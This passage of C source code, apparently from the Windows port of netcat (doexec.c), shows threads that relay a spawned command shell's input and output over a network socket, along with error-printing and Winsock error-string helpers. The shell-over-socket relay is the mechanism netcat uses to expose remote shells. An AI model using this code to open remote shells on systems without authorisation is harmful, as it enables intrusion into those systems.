Parameter; 856 | BYTE Buffer[DOEXEC_BUFFER_SIZE]; 857 | BYTE Buffer2[DOEXEC_BUFFER_SIZE*2+30]; 858 | DWORD BytesRead; 859 | 860 | // this bogus peek is here because win32 won't let me close the pipe if it is 861 | // in waiting for input on a read. 862 | while (PeekNamedPipe(Session->ReadPipeHandle, Buffer, sizeof(Buffer), 863 | &BytesRead, NULL, NULL)) 864 | { 865 | DWORD BufferCnt, BytesToWrite; 866 | BYTE PrevChar = 0; 867 | 868 | if (BytesRead > 0) 869 | { 870 | ReadFile(Session->ReadPipeHandle, Buffer, sizeof(Buffer), 871 | &BytesRead, NULL); 872 | } 873 | else 874 | { 875 | Sleep(50); 876 | continue; 877 | } 878 | 879 | 880 | 881 | // 882 | // Process the data we got from the shell: replace any naked LF's 883 | // with CR-LF pairs. 884 | // 885 | for (BufferCnt = 0, BytesToWrite = 0; BufferCnt < BytesRead; BufferCnt++) { 886 | if (Buffer[BufferCnt] == '\n' && PrevChar != '\r') 887 | Buffer2[BytesToWrite++] = '\r'; 888 | PrevChar = Buffer2[BytesToWrite++] = Buffer[BufferCnt]; 889 | } 890 | 891 | if (send(Session->ClientSocket, Buffer2, BytesToWrite, 0) <= 0) 892 | break; 893 | } 894 | 895 | if (GetLastError() != ERROR_BROKEN_PIPE) 896 | holler("SessionReadShellThreadFn exitted, error = %s", 897 | itoa(GetLastError(), smbuff, 10), NULL, NULL, NULL, NULL, NULL); 898 | 899 | ExitThread(0); 900 | } 901 | 902 | 903 | // ********************************************************************** 904 | // SessionWriteShellThreadFn 905 | // 906 | // The write thread procedure. Reads from socket, writes to pipe connected 907 | // to shell process. 908 | 909 | 910 | static VOID 911 | SessionWriteShellThreadFn( 912 | LPVOID Parameter 913 | ) 914 | { 915 | PSESSION_DATA Session = Parameter; 916 | BYTE RecvBuffer[1]; 917 | BYTE Buffer[DOEXEC_BUFFER_SIZE]; 918 | DWORD BytesWritten; 919 | DWORD BufferCnt; 920 | 921 | BufferCnt = 0; 922 | 923 | // 924 | // Loop, reading one byte at a time from the socket. 925 | // 926 | while (recv(Session->ClientSocket, RecvBuffer, sizeof(RecvBuffer), 0) != 0) { 927 | 928 | Buffer[BufferCnt++] = RecvBuffer[0]; 929 | if (RecvBuffer[0] == '\r') 930 | Buffer[BufferCnt++] = '\n'; 931 | 932 | 933 | // Trap exit as it causes problems 934 | if (strnicmp(Buffer, "exit\r\n", 6) == 0) 935 | ExitThread(0); 936 | 937 | 938 | // 939 | // If we got a CR, it's time to send what we've buffered up down to the 940 | // shell process. 941 | // SECURITY FIX: CW 12/27/04 Add BufferCnt size check. If we hit end of buffer, flush it 942 | if (RecvBuffer[0] == '\n' || RecvBuffer[0] == '\r' || BufferCnt > DOEXEC_BUFFER_SIZE-1) { 943 | if (! WriteFile(Session->WritePipeHandle, Buffer, BufferCnt, 944 | &BytesWritten, NULL)) 945 | { 946 | break; 947 | } 948 | BufferCnt = 0; 949 | } 950 | } 951 | 952 | ExitThread(0); 953 | } 954 | 955 | // ripped from netcat.c 956 | /* holler : 957 | fake varargs -- need to do this way because we wind up calling through 958 | more levels of indirection than vanilla varargs can handle, and not all 959 | machines have vfprintf/vsyslog/whatever! 6 params oughta be enough. */ 960 | void holler (str, p1, p2, p3, p4, p5, p6) 961 | char * str; 962 | char * p1, * p2, * p3, * p4, * p5, * p6; 963 | { 964 | fprintf (stderr, str, p1, p2, p3, p4, p5, p6); 965 | #ifdef WIN32 966 | if (h_errno) 967 | fprintf (stderr, ": %s\n",winsockstr(h_errno)); 968 | #else 969 | if (errno) { /* this gives funny-looking messages, but */ 970 | perror (" "); /* it's more portable than sys_errlist[]... */ 971 | } /* xxx: do something better. */ 972 | /* yyy: did something worse. */ 973 | #endif 974 | else 975 | fprintf (stderr, "\n"); 976 | fflush (stderr); 977 | } /* holler */ 978 | 979 | /* winsockstr 980 | Windows Sockets cannot report errors through perror() so we need to define 981 | our own error strings to print. Someday all the string should be prettied up. 982 | Prettied the errors I usually get */ 983 | char * winsockstr(error) 984 | int error; 985 | { 986 | switch (error) 987 | { 988 | case WSAEINTR : return("INTR "); 989 | case WSAEBADF : return("BADF "); 990 | case WSAEACCES : return("ACCES "); 991 | case WSAEFAULT : return("FAULT "); 992 | case WSAEINVAL : return("INVAL "); 993 | case WSAEMFILE : return("MFILE "); 994 | case WSAEWOULDBLOCK : return("WOULDBLOCK "); 995 | case WSAEINPROGRESS : return("INPROGRESS "); 996 | case WSAEALREADY : return("ALREADY "); 997 | case WSAENOTSOCK : return("NOTSOCK "); 998 | case WSAEDESTADDRREQ : return("DESTADDRREQ "); 999 | case WSAEMSGSIZE : return("MSGSIZE "); 1000 | case WSAEPROTOTYPE : return("PROTOTYPE "); 1001 | case WSAENOPROTOOPT : return("NOPROTOOPT "); 1002 | case WSAEPROTONOSUPPORT: return("PROTONOSUPPORT"); 1003 | case WSAESOCKTNOSUPPORT: return("SOCKTNOSUPPORT"); 1004 | case WSAEOPNOTSUPP : return("OPNOTSUPP "); 1005 | case WSAEPFNOSUPPORT : return("PFNOSUPPORT "); 1006 | case WSAEAFNOSUPPORT : return("AFNOSUPPORT "); 1007 | case WSAEADDRINUSE : return("ADDRINUSE "); 1008 | case WSAEADDRNOTAVAIL : return("ADDRNOTAVAIL "); 1009 | case WSAENETDOWN : return("NETDOWN "); 1010 | case WSAENETUNREACH : return("NETUNREACH "); 1011 | case WSAENETRESET : return("NETRESET "); 1012 | case WSAECONNABORTED : return("CONNABORTED "); 1013 | case WSAECONNRESET : return("CONNRESET "); 1014 | case WSAENOBUFS : return("NOBUFS "); 1015 | case WSAEISCONN : return("ISCONN "); 1016 | case WSAENOTCONN : return("NOTCONN "); 1017 | case WSAESHUTDOWN : return("SHUTDOWN "); 1018 | case WSAETOOMANYREFS : return("TOOMANYREFS "); 1019 | case WSAETIMEDOUT : return("TIMEDOUT "); 1020 | case WSAECONNREFUSED : return("connection refused"); 1021 | case WSAELOOP : return("LOOP "); 1022 | case WSAENAMETOOLONG : return("NAMETOOLONG "); 1023 | case WSAEHOSTDOWN : return("HOSTDOWN "); 1024 | case WSAEHOSTUNREACH : return("HOSTUNREACH "); 1025 | case WSAENOTEMPTY : return("NOTEMPTY "); 1026 | case WSAEPROCLIM : return("PROCLIM "); 1027 | case WSAEUSERS : return("USERS "); 1028 | case WSAEDQUOT : return("DQUOT "); 1029 | case WSAESTALE : return("STALE "); 1030 | case WSAEREMOTE : return("REMOTE "); 1031 | case WSAEDISCON : return("DISCON "); 1032 | case WSASYSNOTREADY : return("SYSNOTREADY "); 1033 | case WSAVERNOTSUPPORTED: return("VERNOTSUPPORTED"); 1034 | case WSANOTINITIALISED : return("NOTINITIALISED "); 1035 | case WSAHOST_NOT_FOUND : return("HOST_NOT_FOUND "); 1036 | case WSATRY_AGAIN : return("TRY_AGAIN "); 1037 | case WSANO_RECOVERY : return("NO_RECOVERY "); 1038 | case WSANO_DATA : return("NO_DATA "); 1039 | default : return("unknown socket error"); 1040 | } 1041 | } 1042 | #endif 1043 | 1044 | --------------------------------------------------------------------------------